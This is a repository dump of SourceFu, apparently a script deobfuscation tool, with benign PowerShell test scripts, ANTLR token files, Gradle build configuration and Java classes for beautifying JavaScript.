https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/grammars/Powershell/see.txt.error -------------------------------------------------------------------------------- /grammars/Powershell/test.ps1: -------------------------------------------------------------------------------- 1 | [string] $url = 'https://evotec.xyz' 2 | function Get-WebStatus($url) { 3 | try { 4 | [net.httpWebRequest] $req = [net.webRequest]::create($url) 5 | $req.Method = "HEAD" 6 | [net.httpWebResponse] $res = $req.getResponse() 7 | if ($res.StatusCode -eq "200") { 8 | write-host "`nSite $url is up (Return code: $($res.StatusCode) - $([int] $res.StatusCode))`n" -ForegroundColor green 9 | } else { 10 | write-host "`nSite $url is down`n" ` -ForegroundColor red 11 | } 12 | } catch { 13 | write-host "`nThings went bad (dns issue?). Try again.`n" ` -ForegroundColor red 14 | } 15 | } 16 | Get-WebStatus $url -------------------------------------------------------------------------------- /grammars/Powershell/test/Powershell2.tokens: -------------------------------------------------------------------------------- 1 | T__0=1 2 | T__1=2 3 | T__2=3 4 | T__3=4 5 | T__4=5 6 | T__5=6 7 | T__6=7 8 | T__7=8 9 | T__8=9 10 | T__9=10 11 | T__10=11 12 | T__11=12 13 | T__12=13 14 | T__13=14 15 | T__14=15 16 | T__15=16 17 | T__16=17 18 | T__17=18 19 | T__18=19 20 | T__19=20 21 | T__20=21 22 | T__21=22 23 | T__22=23 24 | T__23=24 25 | T__24=25 26 | T__25=26 27 | T__26=27 28 | T__27=28 29 | T__28=29 30 | T__29=30 31 | T__30=31 32 | T__31=32 33 | T__32=33 34 | T__33=34 35 | T__34=35 36 | T__35=36 37 | T__36=37 38 | T__37=38 39 | T__38=39 40 | T__39=40 41 | T__40=41 42 | T__41=42 43 | T__42=43 44 | T__43=44 45 | T__44=45 46 | T__45=46 47 | T__46=47 48 | T__47=48 49 | T__48=49 50 | T__49=50 51 | T__50=51 52 | T__51=52 53 | T__52=53 54 | PostfixOperator=54 55 | TYPELITERAL=55 56 | ExpandableStringToken=56 57 | LiteralStringToken=57 58 | VariableToken=58 59 | ParameterToken=59 60 | ParameterArgumentToken=60 61 | PropertyNameToken=61 62 | CmdletName=62 63 | NEWLINES=63 64 | MultiLineComment=64 65 | SingleLineComment=65 66 | WhiteSpaces=66 67 | ASSIGNMENTOPERATOR=67 68 | NumberToken=68 69 | DEQ=69 70 | DNE=70 71 | DGE=71 72 | DGT=72 73 | DLT=73 74 | DLE=74 75 | DIEQ=75 76 | DINE=76 77 | DIGE=77 78 | DIGT=78 79 | DILT=79 80 | DILE=80 81 | DCEQ=81 82 | DCNE=82 83 | DCGE=83 84 | DCGT=84 85 | DCLT=85 86 | CLE=86 87 | DLIKE=87 88 | DNOTLIKE=88 89 | DMATCH=89 90 | DNOTMATCH=90 91 | DILIKE=91 92 | DINOTLIKE=92 93 | DIMATCH=93 94 | DINOTMATCH=94 95 | DCLIKE=95 96 | DCNOTLIKE=96 97 | DCMATCH=97 98 | DCNOTMATCH=98 99 | DCONTAINS=99 100 | DNOTCONTAINS=100 101 | DICONTAINS=101 102 | DINOTCONTAINS=102 103 | DCCONTAINS=103 104 | DCNOTCONTAINS=104 105 | DISNOT=105 106 | DIS=106 107 | DAS=107 108 | DREPLACE=108 109 | DIREPLACE=109 110 | DCREPLACE=110 111 | STATEMENTTERMINATOR=111 112 | LABEL=112 113 | '|'=1 114 | '['=2 115 | ']'=3 116 | '&'=4 117 | '.'=5 118 | '{'=6 119 | '}'=7 120 | 'if'=8 121 | '('=9 122 | ')'=10 123 | 'elseif'=11 124 | 'else'=12 125 | 'switch'=13 126 | '-regex'=14 127 | '-wildcard'=15 128 | '-exact'=16 129 | '-casesensitive'=17 130 | '-parallel'=18 131 | '-file'=19 132 | 'default'=20 133 | 'trap'=21 134 | 'break'=22 135 | 'continue'=23 136 | 'throw'=24 137 | 'return'=25 138 | 'exit'=26 139 | '::'=27 140 | '-join'=28 141 | '-split'=29 142 | '++'=30 143 | '--'=31 144 | '+'=32 145 | '-'=33 146 | '-not'=34 147 | '-bnot'=35 148 | '!'=36 149 | '..'=37 150 | '-f'=38 151 | '*'=39 152 | '/'=40 153 | '%'=41 154 | '-bxor'=42 155 | '-bor'=43 156 | '-band'=44 157 | '-xor'=45 158 | '-or'=46 159 | '-and'=47 160 | '2>&1'=48 161 | '3>&1'=49 162 | '4>&1'=50 163 | '5>&1'=51 164 | '6>&1'=52 165 | '1>&2'=53 166 | -------------------------------------------------------------------------------- /grammars/Powershell/test/Powershell2Lexer.tokens: -------------------------------------------------------------------------------- 1 | T__0=1 2 | T__1=2 3 | T__2=3 4 | T__3=4 5 | T__4=5 6 | T__5=6 7 | T__6=7 8 | T__7=8 9 | T__8=9 10 | T__9=10 11 | T__10=11 12 | T__11=12 13 | T__12=13 14 | T__13=14 15 | T__14=15 16 | T__15=16 17 | T__16=17 18 | T__17=18 19 | T__18=19 20 | T__19=20 21 | T__20=21 22 | T__21=22 23 | T__22=23 24 | T__23=24 25 | T__24=25 26 | T__25=26 27 | T__26=27 28 | T__27=28 29 | T__28=29 30 | T__29=30 31 | T__30=31 32 | T__31=32 33 | T__32=33 34 | T__33=34 35 | T__34=35 36 | T__35=36 37 | T__36=37 38 | T__37=38 39 | T__38=39 40 | T__39=40 41 | T__40=41 42 | T__41=42 43 | T__42=43 44 | T__43=44 45 | T__44=45 46 | T__45=46 47 | T__46=47 48 | T__47=48 49 | T__48=49 50 | T__49=50 51 | T__50=51 52 | T__51=52 53 | T__52=53 54 | PostfixOperator=54 55 | TYPELITERAL=55 56 | ExpandableStringToken=56 57 | LiteralStringToken=57 58 | VariableToken=58 59 | ParameterToken=59 60 | ParameterArgumentToken=60 61 | PropertyNameToken=61 62 | CmdletName=62 63 | NEWLINES=63 64 | MultiLineComment=64 65 | SingleLineComment=65 66 | WhiteSpaces=66 67 | ASSIGNMENTOPERATOR=67 68 | NumberToken=68 69 | DEQ=69 70 | DNE=70 71 | DGE=71 72 | DGT=72 73 | DLT=73 74 | DLE=74 75 | DIEQ=75 76 | DINE=76 77 | DIGE=77 78 | DIGT=78 79 | DILT=79 80 | DILE=80 81 | DCEQ=81 82 | DCNE=82 83 | DCGE=83 84 | DCGT=84 85 | DCLT=85 86 | CLE=86 87 | DLIKE=87 88 | DNOTLIKE=88 89 | DMATCH=89 90 | DNOTMATCH=90 91 | DILIKE=91 92 | DINOTLIKE=92 93 | DIMATCH=93 94 | DINOTMATCH=94 95 | DCLIKE=95 96 | DCNOTLIKE=96 97 | DCMATCH=97 98 | DCNOTMATCH=98 99 | DCONTAINS=99 100 | DNOTCONTAINS=100 101 | DICONTAINS=101 102 | DINOTCONTAINS=102 103 | DCCONTAINS=103 104 | DCNOTCONTAINS=104 105 | DISNOT=105 106 | DIS=106 107 | DAS=107 108 | DREPLACE=108 109 | DIREPLACE=109 110 | DCREPLACE=110 111 | STATEMENTTERMINATOR=111 112 | LABEL=112 113 | '|'=1 114 | '['=2 115 | ']'=3 116 | '&'=4 117 | '.'=5 118 | '{'=6 119 | '}'=7 120 | 'if'=8 121 | '('=9 122 | ')'=10 123 | 'elseif'=11 124 | 'else'=12 125 | 'switch'=13 126 | '-regex'=14 127 | '-wildcard'=15 128 | '-exact'=16 129 | '-casesensitive'=17 130 | '-parallel'=18 131 | '-file'=19 132 | 'default'=20 133 | 'trap'=21 134 | 'break'=22 135 | 'continue'=23 136 | 'throw'=24 137 | 'return'=25 138 | 'exit'=26 139 | '::'=27 140 | '-join'=28 141 | '-split'=29 142 | '++'=30 143 | '--'=31 144 | '+'=32 145 | '-'=33 146 | '-not'=34 147 | '-bnot'=35 148 | '!'=36 149 | '..'=37 150 | '-f'=38 151 | '*'=39 152 | '/'=40 153 | '%'=41 154 | '-bxor'=42 155 | '-bor'=43 156 | '-band'=44 157 | '-xor'=45 158 | '-or'=46 159 | '-and'=47 160 | '2>&1'=48 161 | '3>&1'=49 162 | '4>&1'=50 163 | '5>&1'=51 164 | '6>&1'=52 165 | '1>&2'=53 166 | -------------------------------------------------------------------------------- /grammars/Powershell/test2.ps1: -------------------------------------------------------------------------------- 1 | Add-PSSnapin Microsoft.Adfs.Powershell 2 | Import-Module MSOnline 3 | 4 | $cred = Get-Credential 5 | $AdfsServer = Read-Host "Please type the name of the ADFS server" 6 | 7 | Write-Host "Connecting to MSOnline..." 8 | Connect-MsolService -credential:$cred 9 | Write-Host "Setting the local ADFS server..." 10 | Set-MSOLADFSContext -Computer:$AdfsServer 11 | Write-Host "Updating the ADFS server configuration..." 12 | Update-ADFSCertificate -CertificateType:Token-signing -Urgent:$True 13 | -------------------------------------------------------------------------------- /grammars/Powershell/test3.ps1: -------------------------------------------------------------------------------- 1 | Add-PSSnapin Microsoft.Adfs.Powershell 2 | -------------------------------------------------------------------------------- /sourcefu/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /sourcefu/.gitignore: -------------------------------------------------------------------------------- 1 | /.gradle/ 2 | /build/ 3 | -------------------------------------------------------------------------------- /sourcefu/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | sourcefu 4 | Project sourcefu created by Buildship. 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | org.eclipse.buildship.core.gradleprojectbuilder 15 | 16 | 17 | 18 | 19 | 20 | org.eclipse.jdt.core.javanature 21 | org.eclipse.buildship.core.gradleprojectnature 22 | 23 | 24 | -------------------------------------------------------------------------------- /sourcefu/.settings/org.eclipse.buildship.core.prefs: -------------------------------------------------------------------------------- 1 | connection.project.dir= 2 | eclipse.preferences.version=1 3 | -------------------------------------------------------------------------------- /sourcefu/.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=11 3 | org.eclipse.jdt.core.compiler.compliance=11 4 | org.eclipse.jdt.core.compiler.source=11 5 | -------------------------------------------------------------------------------- /sourcefu/build.gradle: -------------------------------------------------------------------------------- 1 | /* 2 | * This file was generated by the Gradle 'init' task. 3 | * 4 | * This generated file contains a sample Java Library project to get you started. 5 | * For more details take a look at the Java Libraries chapter in the Gradle 6 | * user guide available at https://docs.gradle.org/4.8.1/userguide/java_library_plugin.html 7 | */ 8 | 9 | plugins { 10 | id 'java' 11 | } 12 | 13 | version = '0.01' 14 | 15 | 16 | dependencies { 17 | //antlr runtime 18 | compile group: 'org.antlr', name: 'antlr4-runtime', version: '4.7.2' 19 | 20 | //picocli 21 | compile group: 'info.picocli', name: 'picocli', version: '3.9.5' 22 | 23 | //antlr 24 | compile group: 'org.antlr', name: 'antlr4', version: '4.7.2' 25 | 26 | //spark 27 | compile group: 'com.sparkjava', name: 'spark-core', version: '2.8.0' 28 | //spark require slf4j 29 | compile group: 'org.slf4j', name: 'slf4j-simple', version: '1.7.25' 30 | compile group: 'org.slf4j', name: 'slf4j-api', version: '1.7.25' 31 | compile group: 'javax.servlet', name: 'javax.servlet-api', version: '4.0.1' 32 | compile group: 'org.eclipse.jetty', name: 'jetty-server', version: '9.4.11.v20180605' 33 | compile group: 'org.eclipse.jetty', name: 'jetty-util', version: '9.4.11.v20180605' 34 | compile group: 'org.eclipse.jetty', name: 'jetty-http', version: '9.4.11.v20180605' 35 | compile group: 'org.eclipse.jetty', name: 'jetty-io', version: '9.4.11.v20180605' 36 | compile group: 'com.sparkjava', name: 'spark-template-velocity', version: '2.7.1' 37 | compile group: 'org.apache.velocity', name: 'velocity', version: '1.7' 38 | compile group: 'commons-collections', name: 'commons-collections', version: '3.2.2' 39 | compile group: 'commons-lang', name: 'commons-lang', version: '2.6' 40 | 41 | compile 'dev.morphia.morphia:core:1.4.1' 42 | compile group: 'org.mongodb', name: 'mongo-java-driver', version: '3.10.1' 43 | 44 | compile group: 'com.google.code.gson', name: 'gson', version: '2.8.5' 45 | 46 | //ST 47 | compile group: 'org.antlr', name: 'stringtemplate', version: '4.0.2' 48 | 49 | compile group: 'org.abego.treelayout', name: 'org.abego.treelayout.core', version: '1.0.3' 50 | } 51 | 52 | 53 | configurations.all { 54 | transitive = false 55 | } 56 | 57 | // In this section you declare where to find the dependencies of your project 58 | repositories { 59 | // Use jcenter for resolving your dependencies. 60 | // You can declare any Maven/Ivy/file repository here. 61 | mavenCentral() 62 | } 63 | 64 | task fatJar(type: Jar) { 65 | manifest { 66 | attributes 'Implementation-Title': 'Gradle Jar File Example', 67 | 'Implementation-Version': version, 68 | 'Main-Class': 'SourceFu' 69 | } 70 | version = null 71 | baseName = project.name + '-latest' 72 | from(configurations.compile.collect { it.isDirectory() ? it : zipTree(it) }) 73 | with jar 74 | } 75 | 76 | task copyJar(type: Copy) { 77 | from fatJar // here it automatically reads jar file produced from jar task 78 | into '../jar/' 79 | } 80 | 81 | //build.dependsOn copyJar 82 | //mainClassName = 'SourceFu' -------------------------------------------------------------------------------- /sourcefu/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/SourceFu/5f524520a3df5e8e9c6172bf76e3509aba12080a/sourcefu/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /sourcefu/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-4.8.1-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | -------------------------------------------------------------------------------- /sourcefu/gradlew.bat: -------------------------------------------------------------------------------- 1 | @if "%DEBUG%" == "" @echo off 2 | @rem ########################################################################## 3 | @rem 4 | @rem Gradle startup script for Windows 5 | @rem 6 | @rem ########################################################################## 7 | 8 | @rem Set local scope for the variables with windows NT shell 9 | if "%OS%"=="Windows_NT" setlocal 10 | 11 | set DIRNAME=%~dp0 12 | if "%DIRNAME%" == "" set DIRNAME=. 13 | set APP_BASE_NAME=%~n0 14 | set APP_HOME=%DIRNAME% 15 | 16 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 17 | set DEFAULT_JVM_OPTS= 18 | 19 | @rem Find java.exe 20 | if defined JAVA_HOME goto findJavaFromJavaHome 21 | 22 | set JAVA_EXE=java.exe 23 | %JAVA_EXE% -version >NUL 2>&1 24 | if "%ERRORLEVEL%" == "0" goto init 25 | 26 | echo. 27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 28 | echo. 29 | echo Please set the JAVA_HOME variable in your environment to match the 30 | echo location of your Java installation. 31 | 32 | goto fail 33 | 34 | :findJavaFromJavaHome 35 | set JAVA_HOME=%JAVA_HOME:"=% 36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 37 | 38 | if exist "%JAVA_EXE%" goto init 39 | 40 | echo. 41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 42 | echo. 43 | echo Please set the JAVA_HOME variable in your environment to match the 44 | echo location of your Java installation. 45 | 46 | goto fail 47 | 48 | :init 49 | @rem Get command-line arguments, handling Windows variants 50 | 51 | if not "%OS%" == "Windows_NT" goto win9xME_args 52 | 53 | :win9xME_args 54 | @rem Slurp the command line arguments. 55 | set CMD_LINE_ARGS= 56 | set _SKIP=2 57 | 58 | :win9xME_args_slurp 59 | if "x%~1" == "x" goto execute 60 | 61 | set CMD_LINE_ARGS=%* 62 | 63 | :execute 64 | @rem Setup the command line 65 | 66 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 67 | 68 | @rem Execute Gradle 69 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% 70 | 71 | :end 72 | @rem End local scope for the variables with windows NT shell 73 | if "%ERRORLEVEL%"=="0" goto mainEnd 74 | 75 | :fail 76 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 77 | rem the _cmd.exe /c_ return code! 78 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 79 | exit /b 1 80 | 81 | :mainEnd 82 | if "%OS%"=="Windows_NT" endlocal 83 | 84 | :omega 85 | -------------------------------------------------------------------------------- /sourcefu/settings.gradle: -------------------------------------------------------------------------------- 1 | /* 2 | * This file was generated by the Gradle 'init' task. 3 | * 4 | * The settings file is used to specify which projects to include in your build. 5 | * 6 | * Detailed information about configuring a multi-project build in Gradle can be found 7 | * in the user guide at https://docs.gradle.org/4.8.1/userguide/multi_project_builds.html 8 | */ 9 | 10 | rootProject.name = 'sourcefu' 11 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/deobfuscation/see.java: -------------------------------------------------------------------------------- 1 | package deobfuscation; 2 | 3 | public class see { 4 | 5 | } 6 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/JSBeautifierUtils.java: -------------------------------------------------------------------------------- 1 | package sourcefu.JS; 2 | 3 | import java.util.List; 4 | 5 | import org.antlr.v4.runtime.CommonTokenStream; 6 | import org.antlr.v4.runtime.Token; 7 | import org.antlr.v4.runtime.TokenStreamRewriter; 8 | 9 | public class JSBeautifierUtils{ 10 | TokenStreamRewriter rewriter; 11 | Integer IndentLevel; 12 | CommonTokenStream tokens; 13 | 14 | public JSBeautifierUtils(CommonTokenStream tokens) { 15 | rewriter = new TokenStreamRewriter(tokens); 16 | this.IndentLevel = 0; 17 | this.tokens=tokens; 18 | } 19 | 20 | 21 | public void removeUselessTokens() { 22 | boolean todelete = false; 23 | List tokens = this.tokens.getTokens(); 24 | for(Token token : tokens) { 25 | if(token.getType()==107) { 26 | boolean todeletebefore = true; 27 | int i = token.getTokenIndex()-1; 28 | while(todeletebefore) { 29 | if(tokens.get(i).getType()==106) { 30 | rewriter.delete(tokens.get(i)); 31 | } else { 32 | todeletebefore = false; 33 | } 34 | --i; 35 | } 36 | todelete = true; 37 | rewriter.delete(token.getTokenIndex()); 38 | continue; 39 | } 40 | if(token.getType()==106 && todelete) { 41 | rewriter.delete(token.getTokenIndex()); 42 | } 43 | if(token.getType()!=106 && todelete) { 44 | todelete = false; 45 | } 46 | } 47 | } 48 | 49 | public String getdata() { 50 | return rewriter.getText(); 51 | } 52 | 53 | } 54 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/JSBeautifyRewriteOperation.java: -------------------------------------------------------------------------------- 1 | package sourcefu.JS; 2 | 3 | import org.antlr.v4.runtime.Token; 4 | 5 | public class JSBeautifyRewriteOperation { 6 | 7 | public Integer index; 8 | public String replacement; 9 | 10 | public JSBeautifyRewriteOperation(Integer index, String replacement) { 11 | this.index = index; 12 | this.replacement = replacement; 13 | } 14 | 15 | 16 | 17 | 18 | } 19 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/JSBeautifyRewriterController.java: -------------------------------------------------------------------------------- 1 | package sourcefu.JS; 2 | 3 | import java.util.ArrayList; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import org.antlr.v4.runtime.Token; 8 | 9 | import sourcefu.VBA.helpers.DeadStoreStatement; 10 | import sourcefu.VBA.partialevaluator.RewriteOperation; 11 | 12 | public class JSBeautifyRewriterController { 13 | Map operations = new HashMap(); 14 | 15 | public void addRewriteOperation(JSBeautifyRewriteOperation op) { 16 | if(this.operations.containsKey(op.index)) { 17 | String currentReplacement = this.operations.get(op.index); 18 | String myReplacement = currentReplacement + op.replacement; 19 | this.operations.put(op.index, myReplacement); 20 | }else { //our map do not contain the object, create a new object with its statements 21 | this.operations.put(op.index, op.replacement); 22 | } 23 | } 24 | 25 | public Map getOperations() { 26 | return operations; 27 | } 28 | 29 | } 30 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/JSCommentsDeleter.java: -------------------------------------------------------------------------------- 1 | package sourcefu.JS; 2 | 3 | import java.util.List; 4 | 5 | import org.antlr.v4.runtime.CommonTokenStream; 6 | import org.antlr.v4.runtime.Token; 7 | import org.antlr.v4.runtime.TokenStreamRewriter; 8 | 9 | import sourcefu.JS.antlr.JavaScriptParserBaseListener; 10 | import sourcefu.VBA.antlr.VBAParser; 11 | import sourcefu.VBA.antlr.VBAParserBaseListener; 12 | 13 | public class JSCommentsDeleter extends JavaScriptParserBaseListener{ 14 | TokenStreamRewriter rewriter; 15 | CommonTokenStream tokens; 16 | 17 | public JSCommentsDeleter(CommonTokenStream tokens) { 18 | this.tokens = tokens; 19 | rewriter=new TokenStreamRewriter(tokens); 20 | } 21 | 22 | public void deleteComments() { 23 | List tokens = this.tokens.getTokens(); 24 | //System.out.println("hidden tokens : " + tokens); 25 | if(tokens!=null) { 26 | for(Token token : tokens) { 27 | if (token.getChannel()==1) { 28 | //System.out.println("token : "+ token.getText() + ": type : "+ String.valueOf(token.getType())); 29 | if(token.getType() == 2 || token.getType()==1) { //if the token is a comment 30 | rewriter.delete(token.getTokenIndex()); 31 | } 32 | } 33 | } 34 | } 35 | } 36 | 37 | public String getdata() { 38 | return rewriter.getText(); 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/antlr/JavaScriptLexer.tokens: -------------------------------------------------------------------------------- 1 | MultiLineComment=1 2 | SingleLineComment=2 3 | RegularExpressionLiteral=3 4 | OpenBracket=4 5 | CloseBracket=5 6 | OpenParen=6 7 | CloseParen=7 8 | OpenBrace=8 9 | CloseBrace=9 10 | SemiColon=10 11 | Comma=11 12 | Assign=12 13 | QuestionMark=13 14 | Colon=14 15 | Ellipsis=15 16 | Dot=16 17 | PlusPlus=17 18 | MinusMinus=18 19 | Plus=19 20 | Minus=20 21 | BitNot=21 22 | Not=22 23 | Multiply=23 24 | Divide=24 25 | Modulus=25 26 | RightShiftArithmetic=26 27 | LeftShiftArithmetic=27 28 | RightShiftLogical=28 29 | LessThan=29 30 | MoreThan=30 31 | LessThanEquals=31 32 | GreaterThanEquals=32 33 | Equals_=33 34 | NotEquals=34 35 | IdentityEquals=35 36 | IdentityNotEquals=36 37 | BitAnd=37 38 | BitXOr=38 39 | BitOr=39 40 | And=40 41 | Or=41 42 | MultiplyAssign=42 43 | DivideAssign=43 44 | ModulusAssign=44 45 | PlusAssign=45 46 | MinusAssign=46 47 | LeftShiftArithmeticAssign=47 48 | RightShiftArithmeticAssign=48 49 | RightShiftLogicalAssign=49 50 | BitAndAssign=50 51 | BitXorAssign=51 52 | BitOrAssign=52 53 | ARROW=53 54 | NullLiteral=54 55 | BooleanLiteral=55 56 | DecimalLiteral=56 57 | HexIntegerLiteral=57 58 | OctalIntegerLiteral=58 59 | OctalIntegerLiteral2=59 60 | BinaryIntegerLiteral=60 61 | Break=61 62 | Do=62 63 | Instanceof=63 64 | Typeof=64 65 | Case=65 66 | Else=66 67 | New=67 68 | Var=68 69 | Catch=69 70 | Finally=70 71 | Return=71 72 | Void=72 73 | Continue=73 74 | For=74 75 | Switch=75 76 | While=76 77 | Debugger=77 78 | Function=78 79 | This=79 80 | With=80 81 | Default=81 82 | If=82 83 | Throw=83 84 | Delete=84 85 | In=85 86 | Try=86 87 | Class=87 88 | Enum=88 89 | Extends=89 90 | Super=90 91 | Const=91 92 | Export=92 93 | Import=93 94 | Implements=94 95 | Let=95 96 | Private=96 97 | Public=97 98 | Interface=98 99 | Package=99 100 | Protected=100 101 | Static=101 102 | Yield=102 103 | Identifier=103 104 | StringLiteral=104 105 | TemplateStringLiteral=105 106 | WhiteSpaces=106 107 | LineTerminator=107 108 | HtmlComment=108 109 | CDataComment=109 110 | UnexpectedCharacter=110 111 | '['=4 112 | ']'=5 113 | '('=6 114 | ')'=7 115 | '{'=8 116 | '}'=9 117 | ';'=10 118 | ','=11 119 | '='=12 120 | '?'=13 121 | ':'=14 122 | '...'=15 123 | '.'=16 124 | '++'=17 125 | '--'=18 126 | '+'=19 127 | '-'=20 128 | '~'=21 129 | '!'=22 130 | '*'=23 131 | '/'=24 132 | '%'=25 133 | '>>'=26 134 | '<<'=27 135 | '>>>'=28 136 | '<'=29 137 | '>'=30 138 | '<='=31 139 | '>='=32 140 | '=='=33 141 | '!='=34 142 | '==='=35 143 | '!=='=36 144 | '&'=37 145 | '^'=38 146 | '|'=39 147 | '&&'=40 148 | '||'=41 149 | '*='=42 150 | '/='=43 151 | '%='=44 152 | '+='=45 153 | '-='=46 154 | '<<='=47 155 | '>>='=48 156 | '>>>='=49 157 | '&='=50 158 | '^='=51 159 | '|='=52 160 | '=>'=53 161 | 'null'=54 162 | 'break'=61 163 | 'do'=62 164 | 'instanceof'=63 165 | 'typeof'=64 166 | 'case'=65 167 | 'else'=66 168 | 'new'=67 169 | 'var'=68 170 | 'catch'=69 171 | 'finally'=70 172 | 'return'=71 173 | 'void'=72 174 | 'continue'=73 175 | 'for'=74 176 | 'switch'=75 177 | 'while'=76 178 | 'debugger'=77 179 | 'function'=78 180 | 'this'=79 181 | 'with'=80 182 | 'default'=81 183 | 'if'=82 184 | 'throw'=83 185 | 'delete'=84 186 | 'in'=85 187 | 'try'=86 188 | 'class'=87 189 | 'enum'=88 190 | 'extends'=89 191 | 'super'=90 192 | 'const'=91 193 | 'export'=92 194 | 'import'=93 195 | 'implements'=94 196 | 'let'=95 197 | 'private'=96 198 | 'public'=97 199 | 'interface'=98 200 | 'package'=99 201 | 'protected'=100 202 | 'static'=101 203 | 'yield'=102 204 | -------------------------------------------------------------------------------- /sourcefu/src/main/java/sourcefu/JS/antlr/JavaScriptParser.tokens: -------------------------------------------------------------------------------- 1 | MultiLineComment=1 2 | SingleLineComment=2 3 | RegularExpressionLiteral=3 4 | OpenBracket=4 5 | CloseBracket=5 6 | OpenParen=6 7 | CloseParen=7 8 | OpenBrace=8 9 | CloseBrace=9 10 | SemiColon=10 11 | Comma=11 12 | Assign=12 13 | QuestionMark=13 14 | Colon=14 15 | Ellipsis=15 16 | Dot=16 17 | PlusPlus=17 18 | MinusMinus=18 19 | Plus=19 20 | Minus=20 21 | BitNot=21 22 | Not=22 23 | Multiply=23 24 | Divide=24 25 | Modulus=25 26 | RightShiftArithmetic=26 27 | LeftShiftArithmetic=27 28 | RightShiftLogical=28 29 | LessThan=29 30 | MoreThan=30 31 | LessThanEquals=31 32 | GreaterThanEquals=32 33 | Equals_=33 34 | NotEquals=34 35 | IdentityEquals=35 36 | IdentityNotEquals=36 37 | BitAnd=37 38 | BitXOr=38 39 | BitOr=39 40 | And=40 41 | Or=41 42 | MultiplyAssign=42 43 | DivideAssign=43 44 | ModulusAssign=44 45 | PlusAssign=45 46 | MinusAssign=46 47 | LeftShiftArithmeticAssign=47 48 | RightShiftArithmeticAssign=48 49 | RightShiftLogicalAssign=49 50 | BitAndAssign=50 51 | BitXorAssign=51 52 | BitOrAssign=52 53 | ARROW=53 54 | NullLiteral=54 55 | BooleanLiteral=55 56 | DecimalLiteral=56 57 | HexIntegerLiteral=57 58 | OctalIntegerLiteral=58 59 | OctalIntegerLiteral2=59 60 | BinaryIntegerLiteral=60 61 | Break=61 62 | Do=62 63 | Instanceof=63 64 | Typeof=64 65 | Case=65 66 | Else=66 67 | New=67 68 | Var=68 69 | Catch=69 70 | Finally=70 71 | Return=71 72 | Void=72 73 | Continue=73 74 | For=74 75 | Switch=75 76 | While=76 77 | Debugger=77 78 | Function=78 79 | This=79 80 | With=80 81 | Default=81 82 | If=82 83 | Throw=83 84 | Delete=84 85 | In=85 86 | Try=86 87 | Class=87 88 | Enum=88 89 | Extends=89 90 | Super=90 91 | Const=91 92 | Export=92 93 | Import=93 94 | Implements=94 95 | Let=95 96 | Private=96 97 | Public=97 98 | Interface=98 99 | Package=99 100 | Protected=100 101 | Static=101 102 | Yield=102 103 | Identifier=103 104 | StringLiteral=104 105 | TemplateStringLiteral=105 106 | WhiteSpaces=106 107 | LineTerminator=107 108 | HtmlComment=108 109 | CDataComment=109 110 | UnexpectedCharacter=110 111 | '['=4 112 | ']'=5 113 | '('=6 114 | ')'=7 115 | '{'=8 116 | '}'=9 117 | ';'=10 118 | ','=11 119 | '='=12 120 | '?'=13 121 | ':'=14 122 | '...'=15 123 | '.'=16 124 | '++'=17 125 | '--'=18 126 | '+'=19 127 | '-'=20 128 | '~'=21 129 | '!'=22 130 | '*'=23 131 | '/'=24 132 | '%'=25 133 | '>>'=26 134 | '<<'=27 135 | '>>>'=28 136 | '<'=29 137 | '>'=30 138 | '<='=31 139 | '>='=32 140 | '=='=33 141 | '!='=34 142 | '==='=35 143 | '!=='=36 144 | '&'=37 145 | '^'=38 146 | '|'=39 147 | '&&'=40 148 | '||'=41 149 | '*='=42 150 | '/='=43 151 | '%='=44 152 | '+='=45 153 | '-='=46 154 | '<<='=47 155 | '>>='=48 156 | '>>>='=49 157 | '&='=50 158 | '^='=51 159 | '|='=52 160 | '=>'=53 161 | 'null'=54 162 | 'break'=61 163 | 'do'=62 164 | 'instanceof'=63 165 | 'typeof'=64 166 | 'case'=65 167 | 'else'=66 168 | 'new'=67 169 | 'var'=68 170 | 'catch'=69 171 | 'finally'=70 172 | 'return'=71 173 | 'void'=72 174 | 'continue'=73 175 | 'for'=74 176 | 'switch'=75 177 | 'while'=76 178 | 'debugger'=77 179 | 'function'=78 180 | 'this'=79 181 | 'with'=80 182 | 'default'=81 183 | 'if'=82 184 | 'throw'=83 185 | 'delete'=84 186 | 'in'=85 187 | 'try'=86 188 | 'class'=87 189 | 'enum'=88 190 | 'extends'=89 191 | 'super'=90 192 | 'const'=91 193 